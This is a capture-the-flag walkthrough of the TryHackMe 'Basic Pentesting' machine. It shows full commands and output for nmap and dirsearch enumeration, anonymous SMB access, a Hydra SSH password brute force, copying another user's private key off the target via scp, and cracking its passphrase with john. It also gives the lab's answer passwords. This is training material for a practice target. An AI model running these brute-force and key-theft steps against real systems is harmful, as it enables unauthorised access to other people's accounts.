Basic Pentesting - TryHackMe Walkthrough

This is a machine that allows you to practise web app hacking and privilege escalation

Task 1. Web App Testing and Privilege Escalation

In these set of tasks you'll learn the following:

brute forcing
hash cracking
service enumeration
Linux Enumeration

The main goal here is to learn as much as possible. Make sure you are connected to our network using your OpenVPN configuration file.

Credits to Josiah Pierce from Vulnhub.

Deploy the machine and connect to our network

No answer needed

Find the services exposed by the machine

No answer needed

What is the name of the hidden directory on the web server(enter name without /)?

development

User brute-forcing to find the username & password

No answer needed

What is the username?

jan

What is the password?

armando

What service do you use to access the server(answer in abbreviation in all caps)?

SSH

Enumerate the machine to find any vectors for privilege escalation

No answer needed

What is the name of the other user you found(all lower case)?

kay

If you have found another user, what can you do with this information?

No answer needed

What is the final password you obtain?

heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Enumeration

$ sudo nmap 10.10.50.222 -sV -p- -A -sS -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-04 21:36 IST
Nmap scan report for 10.10.50.222
Host is up (0.17s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.4
OS details: Linux 5.4
Network Distance: 5 hops
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2024-04-04T12:16:59-04:00
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-04-04T16:16:59
|_  start_date: N/A
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s

TRACEROUTE (using port 23/tcp)
HOP RTT       ADDRESS
1   33.51 ms  10.17.0.1
2   ... 4
5   174.68 ms 10.10.50.222

According to scan

SSH is open
Http is open
Smb is open

Http is open so let Enumeration it

sudo apt install dirsearch -y

$ dirsearch -u 10.10.50.222
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/death/Lab-CTF/Basic-pentesting/reports/_10.10.50.222/_24-04-04_20-30-34.txt

Target: http://10.10.50.222/

[20:30:34] Starting: 
[20:30:43] 403 -  298B  - /.ht_wsr.txt
[20:30:43] 403 -  301B  - /.htaccess.save
[20:30:43] 403 -  303B  - /.htaccess.sample
[20:30:43] 403 -  301B  - /.htaccess.bak1
[20:30:43] 403 -  301B  - /.htaccess.orig
[20:30:43] 403 -  302B  - /.htaccess_extra
[20:30:43] 403 -  300B  - /.htaccessOLD2
[20:30:43] 403 -  299B  - /.htaccessBAK
[20:30:43] 403 -  299B  - /.htaccess_sc
[20:30:43] 403 -  301B  - /.htaccess_orig
[20:30:43] 403 -  299B  - /.htaccessOLD
[20:30:43] 403 -  291B  - /.htm
[20:30:43] 403 -  292B  - /.html
[20:30:43] 403 -  301B  - /.htpasswd_test
[20:30:43] 403 -  297B  - /.htpasswds
[20:30:43] 403 -  298B  - /.httr-oauth
[20:31:23] 200 -  475B  - /development/                 -------------> this is with 200 code only
[20:31:57] 403 -  300B  - /server-status
[20:31:57] 403 -  301B  - /server-status/

Task Completed

Just found development directory `10.10.50.222/development/`

Let manually check each...

as i open first dev.txt i found msg,

The message -k passing to -j about config of SMB and Apache maybe k and j are user. let open another.

Again k passing message to J about /etc/shadow have weak credentials and they are easily crackable hashes.

Checking SMB to get Some credentials

sudo apt install smbclient -y [ -L ] option use below is for mapping

$ smbclient -L 10.10.50.222
Password for [WORKGROUP\death]:

	Sharename       Type      Comment
	---------       ----      -------
	Anonymous       Disk      
	IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            BASIC2

Let Check Anonymous folder

$ smbclient //10.10.50.222/Anonymous
Password for [WORKGROUP\death]:
Try "help" to get a list of possible commands.
smb: \>

$ smbclient //10.10.50.222/Anonymous
Password for [WORKGROUP\death]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 23:01:20 2018
  ..                                  D        0  Thu Apr 19 22:43:06 2018
  staff.txt                           N      173  Thu Apr 19 22:59:55 2018

		14318640 blocks of size 1024. 11087940 blocks available
smb: \>

So there is a text file "staff.txt" so download it on our system

get command use to download file

$ smbclient //10.10.50.222/Anonymous
Password for [WORKGROUP\death]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 23:01:20 2018
  ..                                  D        0  Thu Apr 19 22:43:06 2018
  staff.txt                           N      173  Thu Apr 19 22:59:55 2018

		14318640 blocks of size 1024. 11087940 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \>

Let read the txt file we got from smb

$ cat staff.txt      
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

So `kay` and `Jan` are two user and `jan` system password are week

Let brute-force SSH service

As we know ip and username let brute it.

sudo apt install hydra -y

$ hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.50.222 -t 50
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-04 22:19:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 50 tasks per 1 server, overall 50 tasks, 14344399 login tries (l:1/p:14344399), ~286888 tries per task
[DATA] attacking ssh://10.10.50.222:22/
[STATUS] 390.00 tries/min, 390 tries in 00:01h, 14344028 to do in 612:60h, 31 active
[STATUS] 229.67 tries/min, 689 tries in 00:03h, 14343733 to do in 1040:55h, 27 active
[22][ssh] host: 10.10.50.222   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 23 final worker threads did not complete until end.
[ERROR] 23 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-04 22:22:17

I got password `armando`, So there is no firewall to block me doing bruteforce im sending 50 threads at once to fast this process

For verbose mode use `-V` i dont use in at time of making walkthrough it make terminal more messed up

Let login at Jan account

$ ssh jan@10.10.50.222
The authenticity of host '10.10.50.222 (10.10.50.222)' can't be established.
ED25519 key fingerprint is SHA256:XKjDkLKocbzjCch0Tpriw1PeLPuzDufTGZa4xMDA+o4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.50.222' (ED25519) to the list of known hosts.
jan@10.10.50.222's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$

Simply list storage

jan@basic2:~$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 root jan    47 Apr 23  2018 .lesshst

It totally empty let check if there any other user exist

jan@basic2:~$ cd /home
jan@basic2:/home$ ls
jan  kay
jan@basic2:/home$

Ok let go to kay

jan@basic2:/home$ cd kay
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo
jan@basic2:/home/kay$

I got a passowrd backup file `pass.bak` but i dont have permision to it.

Let Check SSH

jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls -la
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23  2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub
jan@basic2:/home/kay/.ssh$

8. Transfering rsa key to our System using `Scp`

sudo apt install openssh-client

$ sudo service ssh start

In Kay ,Let transfer it.

jan@basic2:/home/kay/.ssh$ scp id_rsa death@10.17.120.99:/home/death/Lab-CTF/Basic-pentesting/
Could not create directory '/home/jan/.ssh'.
The authenticity of host '10.17.120.99 (10.17.120.99)' can't be established.
ECDSA key fingerprint is SHA256:/buBatPVxdzFYyMDbKFqcBZbNSdBI/cZQ7WxNYDuVLE.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
death@10.17.120.99's password: 
id_rsa                                                                                                                                                                                                      100% 3326     3.3KB/s   00:00    
jan@basic2:/home/kay/.ssh$

9. Let Crack using john

sudo apt install john -y

Change it to john readable formate

$ ssh2john id_rsa > rsa

Now brute force it

$ john rsa -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (id_rsa)     
1g 0:00:00:00 DONE (2024-04-04 23:08) 12.50g/s 1035Kp/s 1035Kc/s 1035KC/s bird..aries13
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

I got the password `beeswax`

let change permision of id_rsa to use

$ chmod 600 id_rsa

10. Gaining access to kay

$ ssh kay@10.10.50.222 -i id_rsa 
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$

I got this

kay@basic2:~$ cat pass.bak 
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

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